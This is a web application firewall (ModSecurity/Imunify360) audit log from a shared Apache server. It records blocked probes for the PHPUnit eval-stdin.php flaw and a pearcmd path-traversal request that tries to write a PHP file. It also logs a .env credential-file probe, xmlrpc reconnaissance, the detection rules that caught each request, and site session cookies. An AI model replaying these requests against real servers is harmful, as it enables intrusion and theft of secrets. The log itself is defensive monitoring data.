[13/Sep/2026:10:03:30.098302 +0300] aqZKwkwu1RSkptiiNIX1OQAAAIY 106.51.22.217 44516 127.0.0.1 7081
--120cb473-B--
GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--120cb473-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--120cb473-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/panel/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/panel/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKwkwu1RSkptiiNIX1OQAAAIY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKwkwu1RSkptiiNIX1OQAAAIY"]
Action: Intercepted (phase 2)
Stopwatch: 1789283010041020 57325 (- - -)
Stopwatch2: 1789283010041020 57325; combined=56079, p1=849, p2=54888, p3=0, p4=0, p5=342, sr=115, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--120cb473-Z--
--a5a45e7a-A--
[13/Sep/2026:10:03:32.317413 +0300] aqZKxEwu1RSkptiiNIX1OgAAAJQ 106.51.22.217 44528 127.0.0.1 7081
--a5a45e7a-B--
GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--a5a45e7a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--a5a45e7a-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/public/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/public/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKxEwu1RSkptiiNIX1OgAAAJQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKxEwu1RSkptiiNIX1OgAAAJQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789283012251078 66387 (- - -)
Stopwatch2: 1789283012251078 66387; combined=62679, p1=294, p2=59865, p3=0, p4=0, p5=2519, sr=117, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--a5a45e7a-Z--
--5a5b9c50-A--
[13/Sep/2026:10:03:34.609649 +0300] aqZKxmM7dE9KgIIOpQhtwQAAAMY 106.51.22.217 44542 127.0.0.1 7081
--5a5b9c50-B--
GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--5a5b9c50-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--5a5b9c50-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/apps/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/apps/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKxmM7dE9KgIIOpQhtwQAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKxmM7dE9KgIIOpQhtwQAAAMY"]
Action: Intercepted (phase 2)
Stopwatch: 1789283014551940 57758 (- - -)
Stopwatch2: 1789283014551940 57758; combined=55093, p1=1020, p2=53680, p3=0, p4=0, p5=392, sr=131, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--5a5b9c50-Z--
--c6a8370a-A--
[13/Sep/2026:10:03:36.763750 +0300] aqZKyGM7dE9KgIIOpQhtwgAAAMs 106.51.22.217 46078 127.0.0.1 7081
--c6a8370a-B--
GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Content-Length: 33
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
--c6a8370a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--c6a8370a-H--
Message: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "Util/PHP/eval-stdin.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/app/vendor/phpunit/phpunit/src/util/php/eval-stdin.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKyGM7dE9KgIIOpQhtwgAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "aqZKyGM7dE9KgIIOpQhtwgAAAMs"]
Action: Intercepted (phase 2)
Stopwatch: 1789283016707024 56786 (- - -)
Stopwatch2: 1789283016707024 56786; combined=55405, p1=300, p2=54743, p3=0, p4=0, p5=362, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--c6a8370a-Z--
--8e9d3701-A--
[13/Sep/2026:10:03:42.058586 +0300] aqZKzWM7dE9KgIIOpQhtxAAAAM0 106.51.22.217 46108 127.0.0.1 7081
--8e9d3701-B--
GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
--8e9d3701-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--8e9d3701-E--
--8e9d3701-H--
Message: Warning. Match of "rx \\/wc-api\\/KCO_WC_Validation\\/" against "REQUEST_URI" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "51"] [id "77140164"] [msg "IM360 WAF: Infectors: PHP Injection Low value||T:APACHE||MVN:REQUEST_URI||MV:/usr/local/lib/php/pearcmd& config-create /&/ /tmp/index1.php||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"]
Message: Warning. Pattern match "\\W" at ARGS:lang. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "112"] [id "77142202"] [msg "IM360 WAF: Block generic SQLi attack vector||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(?:print|echo|eval|exec)\\(" at ARGS_NAMES:/ /tmp/index1.php. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "150"] [id "77140881"] [msg "IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||MVN:ARGS_NAMES:/ /tmp/index1.php||MV://tmp/index1.php||T:APACHE||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"]
Message: Warning. Pattern match "(?:print|echo|eval|exec)\\(" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "150"] [id "77140881"] [msg "IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||MVN:REQUEST_URI||MV:/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&config-create/&//tmp/index1.php||T:APACHE||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:lang=../../../../../../../../usr/local/lib/php/pearcmd& config-create /=&/ /tmp/index1.php||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"] [tag "service_o"] [tag "service_i360"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKzWM7dE9KgIIOpQhtxAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "\\\\\\\\W" at ARGS:lang. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "112"] [id "77142202"] [msg "IM360 WAF: Block generic SQLi attack vector||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKzWM7dE9KgIIOpQhtxAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?:print|echo|eval|exec)\\\\\\\\(" at ARGS_NAMES:/ /tmp/index1.php. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "150"] [id "77140881"] [msg "IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||MVN:ARGS_NAMES:/ /tmp/index1.php||MV://tmp/index1.php||T:APACHE||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKzWM7dE9KgIIOpQhtxAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(?:print|echo|eval|exec)\\\\\\\\(" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "150"] [id "77140881"] [msg "IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||MVN:REQUEST_URI||MV:/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&config-create/&//tmp/index1.php||T:APACHE||SC:/var/www/vhosts/default/htdocs/index.php"] [severity "DEBUG"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKzWM7dE9KgIIOpQhtxAAAAM0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKzWM7dE9KgIIOpQhtxAAAAM0"]
Action: Intercepted (phase 2)
Stopwatch: 1789283021999997 58694 (- - -)
Stopwatch2: 1789283021999997 58694; combined=57035, p1=395, p2=56290, p3=0, p4=0, p5=350, sr=155, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8e9d3701-Z--
--6c05140c-A--
[13/Sep/2026:10:03:43.976907 +0300] aqZKz2M7dE9KgIIOpQhtxQAAAMc 106.51.22.217 46116 127.0.0.1 7081
--6c05140c-B--
GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 106.51.22.217
Accept: */*
User-Agent: libredtail-http
Upgrade-Insecure-Requests: 1
--6c05140c-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--6c05140c-H--
Message: Warning. Pattern match "\\W" at ARGS:lang. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "112"] [id "77142202"] [msg "IM360 WAF: Block generic SQLi attack vector||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:lang=../../../../../../../../tmp/index1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "\\\\\\\\W" at ARGS:lang. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "112"] [id "77142202"] [msg "IM360 WAF: Block generic SQLi attack vector||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKz2M7dE9KgIIOpQhtxQAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:10-03.106.51.22.217||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "default-89-39-7-190"] [uri "/index.php"] [unique_id "aqZKz2M7dE9KgIIOpQhtxQAAAMc"]
Action: Intercepted (phase 2)
Stopwatch: 1789283023914970 61982 (- - -)
Stopwatch2: 1789283023914970 61982; combined=60300, p1=260, p2=59634, p3=0, p4=0, p5=405, sr=110, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6c05140c-Z--
--e40a3f5b-A--
[13/Sep/2026:10:10:49.054997 +0300] aqZMeGM7dE9KgIIOpQhuJwAAAMY 74.7.242.40 49494 127.0.0.1 7081
--e40a3f5b-B--
GET /xmlrpc.php?rsd HTTP/1.1
Host: axapres.ro
X-Real-IP: 74.7.242.40
X-Accel-Internal: /internal-nginx-static-location
x-openai-host-hash: 58689699
from: gptbot(at)openai.com
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)
referer: https://axapres.ro/
accept: */*
accept-encoding: gzip, br, deflate
--e40a3f5b-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.1.33
Transfer-Encoding: chunked
Content-Type: text/xml; charset=UTF-8
--e40a3f5b-E--
--e40a3f5b-H--
Message: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "xmlrpc.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "290"] [id "77141064"] [msg "IM360 WAF: CMS Recon Bot detected||MVN:REQUEST_FILENAME||T:APACHE||MV:/xmlrpc.php||RM:GET"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "axapres.ro"] [uri "/xmlrpc.php"] [unique_id "aqZMeGM7dE9KgIIOpQhuJwAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Operator GT matched 0 at ARGS. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "529"] [id "77317945"] [msg "IM360 WAF: Really Simple Discovery to xmlrpc||MVN:ARGS||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "axapres.ro"] [uri "/xmlrpc.php"] [unique_id "aqZMeGM7dE9KgIIOpQhuJwAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/axapres.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789283448791445 263620 (- - -)
Stopwatch2: 1789283448791445 263620; combined=4915, p1=475, p2=4305, p3=80, p4=7, p5=47, sr=267, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e40a3f5b-Z--
--fe309318-A--
[13/Sep/2026:10:11:06.684292 +0300] aqZMimM7dE9KgIIOpQhukAAAANI 212.30.36.84 60958 127.0.0.1 7081
--fe309318-B--
POST /contact HTTP/1.1
Host: telesims.com
X-Real-IP: 212.30.36.84
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 190
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept-Language: en-US, en; q=0.9
Referer: https://telesims.com/contact
Origin: https://telesims.com
Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate, br
Cookie: XSRF-TOKEN=K3ouuo6jXqF2qsiZMw8dUia5tT1V1uTkYMTrXDpJ; esim_session=VTVjW0gSnv8APgYO0a5sPbhe7xIO15ozqcbkWEDs
Content-Type: application/x-www-form-urlencoded
--fe309318-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--fe309318-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/011_i360_8_spam.conf"] [line "102"] [id "77141095"] [msg "IM360 WAF: Block spam in PrestaShop||T:APACHE||MVN:TX:rbl_ip||MV:10-11.212.30.36.84||"] [severity "CRITICAL"] [tag "other_apps"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789283466612171 72189 (- - -)
Stopwatch2: 1789283466612171 72189; combined=70353, p1=550, p2=69551, p3=0, p4=0, p5=252, sr=195, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--fe309318-Z--
--3753ce6f-A--
[13/Sep/2026:10:17:51.297186 +0300] aqZOH2M7dE9KgIIOpQhu7QAAAMk 162.243.61.206 41792 127.0.0.1 7081
--3753ce6f-B--
GET /.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
sec-fetch-dest: document
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
sec-fetch-site: none
sec-fetch-mode: navigate
Accept-Language: en-US,en;q=0.9
priority: u=0, i
Accept-Encoding: gzip, deflate, br
--3753ce6f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--3753ce6f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env"] [unique_id "aqZOH2M7dE9KgIIOpQhu7QAAAMk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789283871215313 81947 (- - -)
Stopwatch2: 1789283871215313 81947; combined=4646, p1=233, p2=4331, p3=0, p4=0, p5=81, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--3753ce6f-Z--
--babe132a-A--
